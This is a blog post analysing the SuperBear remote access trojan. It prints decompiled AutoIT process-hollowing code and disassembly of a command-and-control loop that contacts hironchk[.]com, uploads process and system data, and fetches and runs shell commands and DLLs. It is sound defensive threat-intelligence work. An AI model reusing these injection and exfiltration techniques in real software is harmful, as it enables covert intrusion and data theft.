

# Reverse engineering SuperBear RAT.

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You're probably thinking, why is it called SuperBear? Well, here's why:

```
TEXT "UIF-16LE", '%S',0
align 4
c_0 db 'Can not gen random string, using default SuperBear',0
; DATA XREF: downloadexecutedll+16C↑
align 4
```

I spent some time analyzing this attack campaign that was impacting civil society groups and thought it would be a good idea to document the technical analysis for the low-level infosec consumers. You can read our high-level report of the malware campaign here on [Interlab's website](#).

Nethertheless I found this sample to be quite interesting since it utilized some interesting techniques. Notably, the usage of AutoIT to perform process hollowing, and then the C2 protocol itself being somewhat similar to that of commodity RATs.

## AutoIT initial access

In the initial finding of the RAT disclosed on the [Interlab website](#) discusses how we found it to be deployed using an AutoIT script. I won't go into the original maldoc or powershell commands since it's covered in that publication. So let's start by looking at the AutoIT script.

On initial view, I'd found that the script appeared to be compiled and packed. Since this is a typical feature of AutoIT scripts, I used AutoITExtractor to decompile the script (we made all payloads available on both open-source and commercial malware zoo sites, so if you want to see any of this data yourself check the Interlab post). The source code detailed a trivial process injection operation by hollowing memory from a spawned instance of Explorer.exe. It decrypted a payload and injected it into the hollowed memory.

```
#region 8. PEB ImageBaseAddress MANIPULATION
Local $tpeb =DllStructCreate("byte InheritedAddressSpace;" & "byte ReadImageFileExecOptions;" & "byte BeingDebugged;" & "byte Spare;" & "ptr Mutant;" & "ptr ImageBaseAddress;" & "ptr LoaderLock")
$acall = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "ptr", $hprocess, "ptr", $tpeb, "ptr", DllStructGetPtr($tpeb), "dword_ptr", DllStructGetSize($tpeb), "dword_ptr", 0x0)
If @error Or Not $acall[0] Then
    DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0x0)
    Return SetError(0x8, 0x0, 0x0)
EndIf
DllStructSetData($tpeb, "ImageBaseAddress", $pzeropoint)
$acall = DllCall("kernel32.dll", "bool", "_RUN_BINARY_LEANANDMEAN()", "handle", $hprocess, "ptr", $tpeb, "ptr", DllStructGetPtr($tpeb), "dword_ptr", DllStructGetSize($tpeb), "dword_ptr", 0x0)
If @error Or Not $acall[0] Then
    DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0x0)
    Return SetError(0x9, 0x0, 0x0)
EndIf
#region 9. NEW ENTRY POINT
Switch $runflag
    Case 0x1
        DllStructSetData($tcontext, "Eax", $pzeropoint + $ientrypointnew)
    Case 0x2
        DllStructSetData($tcontext, "Rcx", $pzeropoint + $ientrypointnew)
    Case 0x3
        ;
EndSwitch
EndSwitch
#region 10. SET NEW CONTEXT
$acall = DllCall("kernel32.dll", "bool", "SetThreadContext", "handle", $hthread, "ptr", DllStructGetPtr($tcontext))
If @error Or Not $acall[0] Then
    DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0x0)
    Return SetError(0xa, 0x0, 0x0)
EndIf
#region 11. RESUME THREAD
$acall = DllCall("kernel32.dll", "dword", "ResumeThread", "handle", $hthread)
If @error Or $acall[0] = +0xffffffff Then
```

The script is too large to cover in this post and not really necessary. The threat actor actually just modified an open-source script that I'd found discussed across a bunch of different forums:

- <https://www.autoitscript.com/forum/topic/99412-run-binary/page/8/>



```

0401080 sub_401080      proc near                ; CODE XREF: start-89↓p
0401080
0401080 var_4            = dword ptr -4
0401080
0401080      push     ebp
0401081      mov      ebp, esp
0401083      push     ecx
0401084      push     offset Name          ; "BEARLDR-EURJ-RHRHR"
0401089      push     0                    ; bInitialOwner
040108B      push     0                    ; lpMutexAttributes
040108D      call    ds:CreateMutexW
0401093      call    ds:GetLastError
0401099      mov     [ebp+var_4], eax
040109C      cmp     [ebp+var_4], 5
04010A0      jz      short loc_4010AB
04010A2      cmp     [ebp+var_4], 0B7h
04010A9      jnz     short loc_4010C2
04010AB
04010AB loc_4010AB:      ; CODE XREF: sub_401080+20↑j
04010AB      push     0
04010AD      push     offset aAlreadyRunning ; "Already running"
04010B2      call    sub_401070
04010B7      add     esp, 8
04010BA      push     0                    ; uExitCode
04010BC      call    ds:ExitProcess

```

The C2 mechanism begins by first allocating memory and initializing a memory block to hold a string “AAAAAA” providing space to store data. It then defines three variables for URI paths “/id1”, “/id2” & “/id3”.

```

.text:00403F5B ; -----
.text:00403F5B
.text:00403F5B loc_403F5B:      ; CODE XREF: sub_403EF0+50↑j
.text:00403F5B      push     offset aAaaaaa        ; "AAAAAA"
.text:00403F60      mov     ecx, [ebp+lpString1]
.text:00403F63      push     ecx                    ; lpString1
.text:00403F64      call    ds:lstrcpyA
.text:00403F6A      mov     [ebp+var_5C], 0
.text:00403F71
.text:00403F71 loc_403F71:      ; CODE XREF: sub_403EF0+4BE↓j
.text:00403F71      mov     edx, 1
.text:00403F76      test    edx, edx
.text:00403F78      jz      loc_4043B3
.text:00403F7E      mov     [ebp+var_74], 3
.text:00403F85      |   mov     [ebp+lpszObjectName], offset aId1 ; "/id1"
.text:00403F8C      mov     [ebp+var_6C], offset aId2 ; "/id2"
.text:00403F93      mov     [ebp+var_68], offset aId3 ; "/id3"
.text:00403F9A      mov     [ebp+var_4C], 0
.text:00403FA1      jmp     short loc_403FAC

```

It then validates the C2 connection by looping over a call to “InternetOpenW” till it successfully establishes a valid “hInternet” handle. Once complete, it uses “InternetConnectW” to connect to the C2 server, in this instance “hironchk[.]com” checking the defined URI paths previously. It iterates through these three URI paths indefinitely until a connection is established. After successful connection it sleeps for 10 seconds before continuing the loop again.

```

sub_401070();
do
{
    hInternet = (void *)sub_402E60(&szAgent);
    while ( !hInternet );
    do
    {
        sub_401070();
        hConnect = InternetConnectW(hInternet, L"hironchk.com", 0x1BBu, &szUserName, &szPassword, 3u, 0, 0);
    }
    while ( !hConnect );
    Sleep(0x2710u);
}

```

During dynamic analysis, you can of course see the malware attempting connecting to these URI paths.

Once the C2 connection is established, it performs a HTTP request. Interestingly, the actor left a push instruction that pushes the address of the string “Connected to vk.com” onto the stack. Despite this, the C2 address is not anything to do with VK, though this is an interesting observation a TI perspective.

```

push    offset aConnectedToVkc ; "Connected to vk.com"
call   sub_401070

```

It checks if the request was successful and then allocates memory using “VirtualAlloc”. The allocated memory is then read from the HTTP connection using the InternetReadFile function. This is looped, and retrieves data from the connection into the “lpBuffer”.

```

hRequest = HttpOpenRequestW(hConnect, &szVerb, lpzObjectName, &szVersion, 0, 0, 0x84843700, 0);
if ( hRequest )
{
    sub_401070();
    if ( HttpSendRequestW(hRequest, 0, 0, 0, 0) )
    {
        sub_401070();
        lpBuffer = VirtualAlloc(0, 0x2800u, 0x3000u, 4u);
        if ( lpBuffer )
        {
            sub_401070();
            while ( InternetReadFile(hRequest, lpBuffer, 0x27FFu, &dwNumberOfBytesRead) && dwNumberOfBytesRead )
            {
                lpBuffer[dwNumberOfBytesRead] = 0;
                if ( sub_402F30((int)lpBuffer, dwNumberOfBytesRead, &lpString2) )
                {
                    sub_401070();
                    v3 = (_BYTE *)sub_402EA0(lpString2, "NdBrldr");
                    if ( !v3 )
                        break;
                    *v3 = 0;
                    lstrcpyA(lpString1, lpString2);
                    v5 = 1;
                }
                if ( v5 )
                    break;
                dwNumberOfBytesRead = 0;
            }
            VirtualFree(lpBuffer, 0, 0x8000u);
        }
        InternetCloseHandle(hRequest);
    }
    InternetCloseHandle(hInternet);
    return v5;
}

```

The HTML data is checked for the string “NdBrldr”, if the string “NdBrldr” is not found during the processing of the loop the loop will exit. If it’s found, it will continue and a string “Found watermark” is pushed to the stack.

After the loop ends the allocated memory is released using “VirtualFree” and the request handle is closed using “InternetCloseHandle”.

Once the connection is established it will do one of four operations depending on the command message received from the C2.

- Do nothing
- Exfiltrate process and system data
- Download and execute a shell command
- Download and run a DLL

When exfiltrating data, the RAT uses "CreateToolhelp32Snapshot" to create a snapshot of the running processes and saves them to a file located here: "C:\Users\Public\Documents\proc.db"

It then executes the SystemInfo command and saves the output to a file located here: "C:\Users\Public\Documents\sys.db"

Each of these text files are uploaded to the C2 located at URI "/upload/upload.php"

```
lea     ecx, [ebp+v18s]
push   ecx
mov     edx, [ebp+lpAddress]
push   edx
call   iteratelpString
add    esp, 8
test   eax, eax
jz     short loc_404165
push   0
push   offset aFoundCommandSt ; "Found command stat"
call   placeholder
add    esp, 8
call   getrunningprocessessave
push   offset aProcTxt ; "proc.txt"
push   offset aCUsersPublicDo ; "C:\\Users\\Public\\Documents
push   offset aUploadUploadPh ; "/upload/upload.php"
push   offset name ; "hironchk.com"
call   uploadFile
add    esp, 10h
call   getsysteminfo
push   offset aSysTxt ; "sys.txt"
push   offset aCUsersPublicDo_0 ; "C:\\Users\\Public\\Documen
push   offset aUploadUploadPh_0 ; "/upload/upload.php"
push   offset aHironchkCom_1 ; "hironchk.com"
call   uploadFile
add    esp, 10h
jmp    loc_404376
```

If the download execute command is seen, it reads a base64 encoded string from the C2 server and decodes it. It then uses the ShellExecuteW to execute this.

```
else if ( iteratelpString(lpAddress, &v29d) )// download execute command
{
    placeholder();
    lpText = iteratelpString(lpAddress, &v29d) + 5;
    if ( *lpText )
    {
        v1 = base64lookuptable((unsigned __int8 *)lpText);
        v12 = VirtualAlloc(0, v1 + 2, 0x3000u, 4u);
        if ( v12 )
        {
            base64decode(v12, (unsigned __int8 *)lpText);
            executeshellcommand((int)v12);
            placeholder();
            VirtualFree(v12, 0, 0x8000u);
        }
    }
}
```

If the DLL command is found, it will pull a DLL payload from the C2 and use rundll32 to execute it. This DLL data is base64 encoded, and when pulled from the C2 it decodes it and stores the decoded result in a memory block. The resultant payload is allocated using “VirtualAlloc” and memory freed by VirtualFree. It attempts to generate a random string for the DLL filename, if it can’t it uses a default string of “SuperBear”.

```
else if ( iteratelpString(lpAddress, &v40d) )// download dll
{
    placeholder();
    v8 = (int *) (iteratelpString(lpAddress, &v40d) + 5);
    placeholder();
    v16 = *v8;
    v7 = 4;
    v17 = 0;
    placeholder();
    lpText = iteratelpString(lpAddress, &v40d) + 9;
    if ( *lpText )
    {
        v2 = base64lookuptable((unsigned __int8 *)lpText);
        v11 = VirtualAlloc(0, v2 + 2, 0x3000u, 4u);
        if ( v11 )
        {
            base64decode(v11, (unsigned __int8 *)lpText);
            downloadexecutedll((int)v11, (int)&v16);
            placeholder();
            VirtualFree(v11, 0, 0x8000u);
        }
    }
}
```

I won’t document the “do nothing” portion :). In the sample I had, the C2 was instructing to only initiate the exfiltration recon activity described above. I wasn’t able to pull an addition DLL payload. Maybe we will see what that DLL contains in the future. Definitely something to look out for.

## Final thoughts

I made all these samples available here:

VT Collection:

<https://www.virustotal.com/gui/collection/454cfe3be695d0a387d7877c11d3b224b3e2c7d22fc2f31f349b5c23799967ec/summary>

Malware Bazaar:

- SuperBear RAT (dumped PE from memory):  
<https://bazaar.abuse.ch/sample/282e926eb90960a8a807dd0b9e8668e39b38e6961b0023b09f8b56d287ae11cb>
- AutoIT process injector:  
<https://bazaar.abuse.ch/sample/5305b8969b33549b6bd4b68a3f9a2db1e3b21c5497a5d82cec9beaeca007630e/>

Generally I think the RAT is pretty trivial and also demonstrated functionality similar to xRAT/Quasar. Signature detection for it seem either generic or heuristic, so I'm not sure how much more samples we'll see but since Kimsuky have utilized that in the past, I am wondering why this seems novel. Why did they move from using Quasar to something like this? Also another question that makes me ponder is the utilization of AutoIT. There have been recent reports of open-source tooling being used more by other threat groups in NK, is there a connection here? Maybe I'm just trying to make something out of nothing but I think it's an interesting point to consider.

When I get round to it, I'll add some Yara rules here and update this post.

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A bit about my new website:

This is a new site for me, I recently moved from Hugo to using Ghost. I am an independent research - I do not work for corporations and only work with non-profit groups. For me, getting my research out to as many people for the betterment of digital security is my goal. I also wish to contribute directly to information security and human rights. In creating a subscription list for my work, it helps me publish my research and get it out to the right people. I hope, in time, I can continue to publish my research here without needing to rely on media outlets to get the work heard. If you would like to support me, please consider subscribing:

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Source: <https://0x0v1.com/posts/superbear/superbear/>